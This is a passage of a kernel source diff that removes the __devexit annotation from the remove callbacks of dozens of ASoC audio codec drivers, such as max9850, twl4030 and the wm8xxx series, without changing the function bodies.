--- a/sound/soc/codecs/max9850.c
+++ b/sound/soc/codecs/max9850.c
@@ -347,7 +347,7 @@ static int max9850_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int max9850_i2c_remove(struct i2c_client *client)
+static int max9850_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/max9877.c b/sound/soc/codecs/max9877.c
index 5243340..0c01469 100644
--- a/sound/soc/codecs/max9877.c
+++ b/sound/soc/codecs/max9877.c
@@ -268,7 +268,7 @@ static int max9877_i2c_probe(struct i2c_client *client,
 	return 0;
 }
 
-static __devexit int max9877_i2c_remove(struct i2c_client *client)
+static int max9877_i2c_remove(struct i2c_client *client)
 {
 	i2c = NULL;
 
diff --git a/sound/soc/codecs/ml26124.c b/sound/soc/codecs/ml26124.c
index d3d6b26..d38a05b 100644
--- a/sound/soc/codecs/ml26124.c
+++ b/sound/soc/codecs/ml26124.c
@@ -649,7 +649,7 @@ static int ml26124_i2c_probe(struct i2c_client *i2c,
 			&soc_codec_dev_ml26124, &ml26124_dai, 1);
 }
 
-static __devexit int ml26124_i2c_remove(struct i2c_client *client)
+static int ml26124_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/omap-hdmi.c b/sound/soc/codecs/omap-hdmi.c
index 8ddc3d56..529d064 100644
--- a/sound/soc/codecs/omap-hdmi.c
+++ b/sound/soc/codecs/omap-hdmi.c
@@ -45,7 +45,7 @@ static int omap_hdmi_codec_probe(struct platform_device *pdev)
 			&omap_hdmi_codec_dai, 1);
 }
 
-static __devexit int omap_hdmi_codec_remove(struct platform_device *pdev)
+static int omap_hdmi_codec_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/pcm3008.c b/sound/soc/codecs/pcm3008.c
index 74561f3..f2a6282 100644
--- a/sound/soc/codecs/pcm3008.c
+++ b/sound/soc/codecs/pcm3008.c
@@ -155,7 +155,7 @@ static int pcm3008_codec_probe(struct platform_device *pdev)
 			&soc_codec_dev_pcm3008, &pcm3008_dai, 1);
 }
 
-static int __devexit pcm3008_codec_remove(struct platform_device *pdev)
+static int pcm3008_codec_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/rt5631.c b/sound/soc/codecs/rt5631.c
index 32d5ff4..e8a096c 100644
--- a/sound/soc/codecs/rt5631.c
+++ b/sound/soc/codecs/rt5631.c
@@ -1748,7 +1748,7 @@ static int rt5631_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int rt5631_i2c_remove(struct i2c_client *client)
+static int rt5631_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/sgtl5000.c b/sound/soc/codecs/sgtl5000.c
index 40d4fc1..dca33c6 100644
--- a/sound/soc/codecs/sgtl5000.c
+++ b/sound/soc/codecs/sgtl5000.c
@@ -1422,7 +1422,7 @@ static int sgtl5000_i2c_probe(struct i2c_client *client,
 	return ret;
 }
 
-static __devexit int sgtl5000_i2c_remove(struct i2c_client *client)
+static int sgtl5000_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
diff --git a/sound/soc/codecs/si476x.c b/sound/soc/codecs/si476x.c
index 8c46732..f2d61a1 100644
--- a/sound/soc/codecs/si476x.c
+++ b/sound/soc/codecs/si476x.c
@@ -232,7 +232,7 @@ static int si476x_platform_probe(struct platform_device *pdev)
 				      &si476x_dai, 1);
 }
 
-static int __devexit si476x_platform_remove(struct platform_device *pdev)
+static int si476x_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/sn95031.c b/sound/soc/codecs/sn95031.c
index 98529c5..d1ae869d 100644
--- a/sound/soc/codecs/sn95031.c
+++ b/sound/soc/codecs/sn95031.c
@@ -903,7 +903,7 @@ static int sn95031_device_probe(struct platform_device *pdev)
 			sn95031_dais, ARRAY_SIZE(sn95031_dais));
 }
 
-static int __devexit sn95031_device_remove(struct platform_device *pdev)
+static int sn95031_device_remove(struct platform_device *pdev)
 {
 	pr_debug("codec device remove called\n");
 	snd_soc_unregister_codec(&pdev->dev);
diff --git a/sound/soc/codecs/ssm2602.c b/sound/soc/codecs/ssm2602.c
index 6fa63cc..f8d30e5 100644
--- a/sound/soc/codecs/ssm2602.c
+++ b/sound/soc/codecs/ssm2602.c
@@ -713,7 +713,7 @@ static int ssm2602_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit ssm2602_spi_remove(struct spi_device *spi)
+static int ssm2602_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -759,7 +759,7 @@ static int ssm2602_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static int __devexit ssm2602_i2c_remove(struct i2c_client *client)
+static int ssm2602_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/sta32x.c b/sound/soc/codecs/sta32x.c
index 2309f5a..6aa2753 100644
--- a/sound/soc/codecs/sta32x.c
+++ b/sound/soc/codecs/sta32x.c
@@ -1033,7 +1033,7 @@ static int sta32x_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int sta32x_i2c_remove(struct i2c_client *client)
+static int sta32x_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/sta529.c b/sound/soc/codecs/sta529.c
index 570a09e..09ed245 100644
--- a/sound/soc/codecs/sta529.c
+++ b/sound/soc/codecs/sta529.c
@@ -412,7 +412,7 @@ static int sta529_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static int __devexit sta529_i2c_remove(struct i2c_client *client)
+static int sta529_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
diff --git a/sound/soc/codecs/stac9766.c b/sound/soc/codecs/stac9766.c
index 20ad890..2eda85ba 100644
--- a/sound/soc/codecs/stac9766.c
+++ b/sound/soc/codecs/stac9766.c
@@ -391,7 +391,7 @@ static int stac9766_probe(struct platform_device *pdev)
 			&soc_codec_dev_stac9766, stac9766_dai, ARRAY_SIZE(stac9766_dai));
 }
 
-static int __devexit stac9766_remove(struct platform_device *pdev)
+static int stac9766_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/tlv320aic32x4.c b/sound/soc/codecs/tlv320aic32x4.c
index 1d45339..5d71c86 100644
--- a/sound/soc/codecs/tlv320aic32x4.c
+++ b/sound/soc/codecs/tlv320aic32x4.c
@@ -748,7 +748,7 @@ static int aic32x4_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int aic32x4_i2c_remove(struct i2c_client *client)
+static int aic32x4_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/tlv320dac33.c b/sound/soc/codecs/tlv320dac33.c
index 8af052b..922f9b3a 100644
--- a/sound/soc/codecs/tlv320dac33.c
+++ b/sound/soc/codecs/tlv320dac33.c
@@ -1586,7 +1586,7 @@ err_gpio:
 	return ret;
 }
 
-static int __devexit dac33_i2c_remove(struct i2c_client *client)
+static int dac33_i2c_remove(struct i2c_client *client)
 {
 	struct tlv320dac33_priv *dac33 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/tpa6130a2.c b/sound/soc/codecs/tpa6130a2.c
index f1c0399..eb3de04 100644
--- a/sound/soc/codecs/tpa6130a2.c
+++ b/sound/soc/codecs/tpa6130a2.c
@@ -455,7 +455,7 @@ err_gpio:
 	return ret;
 }
 
-static int __devexit tpa6130a2_remove(struct i2c_client *client)
+static int tpa6130a2_remove(struct i2c_client *client)
 {
 	struct tpa6130a2_data *data = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/twl4030.c b/sound/soc/codecs/twl4030.c
index c53c7fa..63b280b 100644
--- a/sound/soc/codecs/twl4030.c
+++ b/sound/soc/codecs/twl4030.c
@@ -2340,7 +2340,7 @@ static int twl4030_codec_probe(struct platform_device *pdev)
 			twl4030_dai, ARRAY_SIZE(twl4030_dai));
 }
 
-static int __devexit twl4030_codec_remove(struct platform_device *pdev)
+static int twl4030_codec_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/twl6040.c b/sound/soc/codecs/twl6040.c
index e3256ba..3fc3fc6 100644
--- a/sound/soc/codecs/twl6040.c
+++ b/sound/soc/codecs/twl6040.c
@@ -1235,7 +1235,7 @@ static int twl6040_codec_probe(struct platform_device *pdev)
 				      twl6040_dai, ARRAY_SIZE(twl6040_dai));
 }
 
-static int __devexit twl6040_codec_remove(struct platform_device *pdev)
+static int twl6040_codec_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/uda134x.c b/sound/soc/codecs/uda134x.c
index 6c5a395..6d0aa44 100644
--- a/sound/soc/codecs/uda134x.c
+++ b/sound/soc/codecs/uda134x.c
@@ -607,7 +607,7 @@ static int uda134x_codec_probe(struct platform_device *pdev)
 			&soc_codec_dev_uda134x, &uda134x_dai, 1);
 }
 
-static int __devexit uda134x_codec_remove(struct platform_device *pdev)
+static int uda134x_codec_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/uda1380.c b/sound/soc/codecs/uda1380.c
index 289dfe1..474b812 100644
--- a/sound/soc/codecs/uda1380.c
+++ b/sound/soc/codecs/uda1380.c
@@ -814,7 +814,7 @@ static int uda1380_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static int __devexit uda1380_i2c_remove(struct i2c_client *i2c)
+static int uda1380_i2c_remove(struct i2c_client *i2c)
 {
 	snd_soc_unregister_codec(&i2c->dev);
 	return 0;
diff --git a/sound/soc/codecs/wl1273.c b/sound/soc/codecs/wl1273.c
index 2ae0302..54cd3da 100644
--- a/sound/soc/codecs/wl1273.c
+++ b/sound/soc/codecs/wl1273.c
@@ -491,7 +491,7 @@ static int wl1273_platform_probe(struct platform_device *pdev)
 				      &wl1273_dai, 1);
 }
 
-static int __devexit wl1273_platform_remove(struct platform_device *pdev)
+static int wl1273_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm0010.c b/sound/soc/codecs/wm0010.c
index c449178..132fee5 100644
--- a/sound/soc/codecs/wm0010.c
+++ b/sound/soc/codecs/wm0010.c
@@ -963,7 +963,7 @@ static int wm0010_spi_probe(struct spi_device *spi)
 	return 0;
 }
 
-static int __devexit wm0010_spi_remove(struct spi_device *spi)
+static int wm0010_spi_remove(struct spi_device *spi)
 {
 	struct wm0010_priv *wm0010 = spi_get_drvdata(spi);
 
diff --git a/sound/soc/codecs/wm1250-ev1.c b/sound/soc/codecs/wm1250-ev1.c
index 18e58bd..13de5ac 100644
--- a/sound/soc/codecs/wm1250-ev1.c
+++ b/sound/soc/codecs/wm1250-ev1.c
@@ -237,7 +237,7 @@ static int wm1250_ev1_probe(struct i2c_client *i2c,
 	return 0;
 }
 
-static int __devexit wm1250_ev1_remove(struct i2c_client *i2c)
+static int wm1250_ev1_remove(struct i2c_client *i2c)
 {
 	snd_soc_unregister_codec(&i2c->dev);
 	wm1250_ev1_free(i2c);
diff --git a/sound/soc/codecs/wm2000.c b/sound/soc/codecs/wm2000.c
index 9956b74..637f8d1 100644
--- a/sound/soc/codecs/wm2000.c
+++ b/sound/soc/codecs/wm2000.c
@@ -871,7 +871,7 @@ out:
 	return ret;
 }
 
-static __devexit int wm2000_i2c_remove(struct i2c_client *i2c)
+static int wm2000_i2c_remove(struct i2c_client *i2c)
 {
 	snd_soc_unregister_codec(&i2c->dev);
 
diff --git a/sound/soc/codecs/wm2200.c b/sound/soc/codecs/wm2200.c
index b6428c6..761304b 100644
--- a/sound/soc/codecs/wm2200.c
+++ b/sound/soc/codecs/wm2200.c
@@ -2388,7 +2388,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm2200_i2c_remove(struct i2c_client *i2c)
+static int wm2200_i2c_remove(struct i2c_client *i2c)
 {
 	struct wm2200_priv *wm2200 = i2c_get_clientdata(i2c);
 
diff --git a/sound/soc/codecs/wm5100.c b/sound/soc/codecs/wm5100.c
index d5d8b52..812c326 100644
--- a/sound/soc/codecs/wm5100.c
+++ b/sound/soc/codecs/wm5100.c
@@ -2639,7 +2639,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm5100_i2c_remove(struct i2c_client *i2c)
+static int wm5100_i2c_remove(struct i2c_client *i2c)
 {
 	struct wm5100_priv *wm5100 = i2c_get_clientdata(i2c);
 
diff --git a/sound/soc/codecs/wm5102.c b/sound/soc/codecs/wm5102.c
index 0210a08..4fc8fa7 100644
--- a/sound/soc/codecs/wm5102.c
+++ b/sound/soc/codecs/wm5102.c
@@ -1495,7 +1495,7 @@ static int wm5102_probe(struct platform_device *pdev)
 				      wm5102_dai, ARRAY_SIZE(wm5102_dai));
 }
 
-static int __devexit wm5102_remove(struct platform_device *pdev)
+static int wm5102_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	pm_runtime_disable(&pdev->dev);
diff --git a/sound/soc/codecs/wm5110.c b/sound/soc/codecs/wm5110.c
index 59f5d16..5bb182f 100644
--- a/sound/soc/codecs/wm5110.c
+++ b/sound/soc/codecs/wm5110.c
@@ -988,7 +988,7 @@ static int wm5110_probe(struct platform_device *pdev)
 				      wm5110_dai, ARRAY_SIZE(wm5110_dai));
 }
 
-static int __devexit wm5110_remove(struct platform_device *pdev)
+static int wm5110_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	pm_runtime_disable(&pdev->dev);
diff --git a/sound/soc/codecs/wm8350.c b/sound/soc/codecs/wm8350.c
index 24eaf4d..154655f 100644
--- a/sound/soc/codecs/wm8350.c
+++ b/sound/soc/codecs/wm8350.c
@@ -1633,7 +1633,7 @@ static int wm8350_probe(struct platform_device *pdev)
 			&wm8350_dai, 1);
 }
 
-static int __devexit wm8350_remove(struct platform_device *pdev)
+static int wm8350_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8400.c b/sound/soc/codecs/wm8400.c
index fde7b17..ae2b6bc 100644
--- a/sound/soc/codecs/wm8400.c
+++ b/sound/soc/codecs/wm8400.c
@@ -1445,7 +1445,7 @@ static int wm8400_probe(struct platform_device *pdev)
 			&wm8400_dai, 1);
 }
 
-static int __devexit wm8400_remove(struct platform_device *pdev)
+static int wm8400_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8510.c b/sound/soc/codecs/wm8510.c
index 28dbbdc..a18ed57 100644
--- a/sound/soc/codecs/wm8510.c
+++ b/sound/soc/codecs/wm8510.c
@@ -670,7 +670,7 @@ static int wm8510_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8510_spi_remove(struct spi_device *spi)
+static int wm8510_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -711,7 +711,7 @@ static int wm8510_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8510_i2c_remove(struct i2c_client *client)
+static int wm8510_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8523.c b/sound/soc/codecs/wm8523.c
index c05c55d..f3a13bd 100644
--- a/sound/soc/codecs/wm8523.c
+++ b/sound/soc/codecs/wm8523.c
@@ -528,7 +528,7 @@ err_enable:
 	return ret;
 }
 
-static __devexit int wm8523_i2c_remove(struct i2c_client *client)
+static int wm8523_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8711.c b/sound/soc/codecs/wm8711.c
index a366fdc..f68b52f 100644
--- a/sound/soc/codecs/wm8711.c
+++ b/sound/soc/codecs/wm8711.c
@@ -451,7 +451,7 @@ static int wm8711_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8711_spi_remove(struct spi_device *spi)
+static int wm8711_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 
@@ -493,7 +493,7 @@ static int wm8711_i2c_probe(struct i2c_client *client,
 	return ret;
 }
 
-static __devexit int wm8711_i2c_remove(struct i2c_client *client)
+static int wm8711_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8727.c b/sound/soc/codecs/wm8727.c
index 3bc03f8..462f5e4 100644
--- a/sound/soc/codecs/wm8727.c
+++ b/sound/soc/codecs/wm8727.c
@@ -51,7 +51,7 @@ static int wm8727_probe(struct platform_device *pdev)
 			&soc_codec_dev_wm8727, &wm8727_dai, 1);
 }
 
-static int __devexit wm8727_remove(struct platform_device *pdev)
+static int wm8727_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8728.c b/sound/soc/codecs/wm8728.c
index 245c2b4..ce7105a 100644
--- a/sound/soc/codecs/wm8728.c
+++ b/sound/soc/codecs/wm8728.c
@@ -302,7 +302,7 @@ static int wm8728_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8728_spi_remove(struct spi_device *spi)
+static int wm8728_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 
@@ -344,7 +344,7 @@ static int wm8728_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8728_i2c_remove(struct i2c_client *client)
+static int wm8728_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8731.c b/sound/soc/codecs/wm8731.c
index 71617ad..dfb93d8 100644
--- a/sound/soc/codecs/wm8731.c
+++ b/sound/soc/codecs/wm8731.c
@@ -661,7 +661,7 @@ static int wm8731_spi_probe(struct spi_device *spi)
 	return 0;
 }
 
-static int __devexit wm8731_spi_remove(struct spi_device *spi)
+static int wm8731_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -710,7 +710,7 @@ static int wm8731_i2c_probe(struct i2c_client *i2c,
 	return 0;
 }
 
-static __devexit int wm8731_i2c_remove(struct i2c_client *client)
+static int wm8731_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8737.c b/sound/soc/codecs/wm8737.c
index 9e1a100..825b14d 100644
--- a/sound/soc/codecs/wm8737.c
+++ b/sound/soc/codecs/wm8737.c
@@ -679,7 +679,7 @@ static int wm8737_i2c_probe(struct i2c_client *i2c,
 
 }
 
-static __devexit int wm8737_i2c_remove(struct i2c_client *client)
+static int wm8737_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
@@ -737,7 +737,7 @@ static int wm8737_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8737_spi_remove(struct spi_device *spi)
+static int wm8737_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 
diff --git a/sound/soc/codecs/wm8741.c b/sound/soc/codecs/wm8741.c
index 019558c..2709399 100644
--- a/sound/soc/codecs/wm8741.c
+++ b/sound/soc/codecs/wm8741.c
@@ -596,7 +596,7 @@ static int wm8741_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8741_spi_remove(struct spi_device *spi)
+static int wm8741_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8750.c b/sound/soc/codecs/wm8750.c
index 28256c4..6549c6f 100644
--- a/sound/soc/codecs/wm8750.c
+++ b/sound/soc/codecs/wm8750.c
@@ -791,7 +791,7 @@ static int wm8750_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8750_spi_remove(struct spi_device *spi)
+static int wm8750_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -840,7 +840,7 @@ static int wm8750_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8750_i2c_remove(struct i2c_client *client)
+static int wm8750_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8753.c b/sound/soc/codecs/wm8753.c
index c22f580..1c51110 100644
--- a/sound/soc/codecs/wm8753.c
+++ b/sound/soc/codecs/wm8753.c
@@ -1585,7 +1585,7 @@ err:
 	return ret;
 }
 
-static int __devexit wm8753_spi_remove(struct spi_device *spi)
+static int wm8753_spi_remove(struct spi_device *spi)
 {
 	struct wm8753_priv *wm8753 = spi_get_drvdata(spi);
 
@@ -1643,7 +1643,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8753_i2c_remove(struct i2c_client *client)
+static int wm8753_i2c_remove(struct i2c_client *client)
 {
 	struct wm8753_priv *wm8753 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/wm8770.c b/sound/soc/codecs/wm8770.c
index 053a2f5..89a18d8 100644
--- a/sound/soc/codecs/wm8770.c
+++ b/sound/soc/codecs/wm8770.c
@@ -697,7 +697,7 @@ static int wm8770_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8770_spi_remove(struct spi_device *spi)
+static int wm8770_spi_remove(struct spi_device *spi)
 {
 	struct wm8770_priv *wm8770 = spi_get_drvdata(spi);
 	int i;
diff --git a/sound/soc/codecs/wm8776.c b/sound/soc/codecs/wm8776.c
index 93bca00..146c41d 100644
--- a/sound/soc/codecs/wm8776.c
+++ b/sound/soc/codecs/wm8776.c
@@ -514,7 +514,7 @@ static int wm8776_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8776_spi_remove(struct spi_device *spi)
+static int wm8776_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -555,7 +555,7 @@ static int wm8776_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8776_i2c_remove(struct i2c_client *client)
+static int wm8776_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8782.c b/sound/soc/codecs/wm8782.c
index 4b752b7..f1fdbf6 100644
--- a/sound/soc/codecs/wm8782.c
+++ b/sound/soc/codecs/wm8782.c
@@ -48,7 +48,7 @@ static int wm8782_probe(struct platform_device *pdev)
 			&soc_codec_dev_wm8782, &wm8782_dai, 1);
 }
 
-static int __devexit wm8782_remove(struct platform_device *pdev)
+static int wm8782_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8804.c b/sound/soc/codecs/wm8804.c
index cad8ea0..47e7065 100644
--- a/sound/soc/codecs/wm8804.c
+++ b/sound/soc/codecs/wm8804.c
@@ -725,7 +725,7 @@ static int wm8804_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8804_spi_remove(struct spi_device *spi)
+static int wm8804_spi_remove(struct spi_device *spi)
 {
 	struct wm8804_priv *wm8804 = spi_get_drvdata(spi);
 	snd_soc_unregister_codec(&spi->dev);
@@ -775,7 +775,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8804_i2c_remove(struct i2c_client *i2c)
+static int wm8804_i2c_remove(struct i2c_client *i2c)
 {
 	struct wm8804_priv *wm8804 = i2c_get_clientdata(i2c);
 
diff --git a/sound/soc/codecs/wm8900.c b/sound/soc/codecs/wm8900.c
index 375720e..6a453a2 100644
--- a/sound/soc/codecs/wm8900.c
+++ b/sound/soc/codecs/wm8900.c
@@ -1269,7 +1269,7 @@ static int wm8900_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8900_spi_remove(struct spi_device *spi)
+static int wm8900_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -1309,7 +1309,7 @@ static int wm8900_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8900_i2c_remove(struct i2c_client *client)
+static int wm8900_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8903.c b/sound/soc/codecs/wm8903.c
index 930b1a2..eca4ff1 100644
--- a/sound/soc/codecs/wm8903.c
+++ b/sound/soc/codecs/wm8903.c
@@ -2206,7 +2206,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8903_i2c_remove(struct i2c_client *client)
+static int wm8903_i2c_remove(struct i2c_client *client)
 {
 	struct wm8903_priv *wm8903 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/wm8904.c b/sound/soc/codecs/wm8904.c
index 6a150d0..331b7bc 100644
--- a/sound/soc/codecs/wm8904.c
+++ b/sound/soc/codecs/wm8904.c
@@ -2247,7 +2247,7 @@ err_enable:
 	return ret;
 }
 
-static __devexit int wm8904_i2c_remove(struct i2c_client *client)
+static int wm8904_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8940.c b/sound/soc/codecs/wm8940.c
index d80fbcf..aba34cf 100644
--- a/sound/soc/codecs/wm8940.c
+++ b/sound/soc/codecs/wm8940.c
@@ -762,7 +762,7 @@ static int wm8940_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8940_i2c_remove(struct i2c_client *client)
+static int wm8940_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
diff --git a/sound/soc/codecs/wm8955.c b/sound/soc/codecs/wm8955.c
index b1fd4d7..0ebcf2e 100644
--- a/sound/soc/codecs/wm8955.c
+++ b/sound/soc/codecs/wm8955.c
@@ -1045,7 +1045,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8955_i2c_remove(struct i2c_client *client)
+static int wm8955_i2c_remove(struct i2c_client *client)
 {
 	struct wm8955_priv *wm8955 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/wm8960.c b/sound/soc/codecs/wm8960.c
index e22a440..a29b5df 100644
--- a/sound/soc/codecs/wm8960.c
+++ b/sound/soc/codecs/wm8960.c
@@ -1062,7 +1062,7 @@ static int wm8960_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8960_i2c_remove(struct i2c_client *client)
+static int wm8960_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8961.c b/sound/soc/codecs/wm8961.c
index f862f7b..9c0163c 100644
--- a/sound/soc/codecs/wm8961.c
+++ b/sound/soc/codecs/wm8961.c
@@ -993,7 +993,7 @@ static int wm8961_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8961_i2c_remove(struct i2c_client *client)
+static int wm8961_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
diff --git a/sound/soc/codecs/wm8962.c b/sound/soc/codecs/wm8962.c
index dccc56f..7e82420 100644
--- a/sound/soc/codecs/wm8962.c
+++ b/sound/soc/codecs/wm8962.c
@@ -3703,7 +3703,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8962_i2c_remove(struct i2c_client *client)
+static int wm8962_i2c_remove(struct i2c_client *client)
 {
 	struct wm8962_priv *wm8962 = dev_get_drvdata(&client->dev);
 
diff --git a/sound/soc/codecs/wm8971.c b/sound/soc/codecs/wm8971.c
index 6028e99..d8a07b7 100644
--- a/sound/soc/codecs/wm8971.c
+++ b/sound/soc/codecs/wm8971.c
@@ -741,7 +741,7 @@ static int wm8971_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8971_i2c_remove(struct i2c_client *client)
+static int wm8971_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8974.c b/sound/soc/codecs/wm8974.c
index a1c8c52..f7c428b 100644
--- a/sound/soc/codecs/wm8974.c
+++ b/sound/soc/codecs/wm8974.c
@@ -636,7 +636,7 @@ static int wm8974_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8974_i2c_remove(struct i2c_client *client)
+static int wm8974_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
diff --git a/sound/soc/codecs/wm8978.c b/sound/soc/codecs/wm8978.c
index 7028f1a..32e0085 100644
--- a/sound/soc/codecs/wm8978.c
+++ b/sound/soc/codecs/wm8978.c
@@ -1079,7 +1079,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8978_i2c_remove(struct i2c_client *client)
+static int wm8978_i2c_remove(struct i2c_client *client)
 {
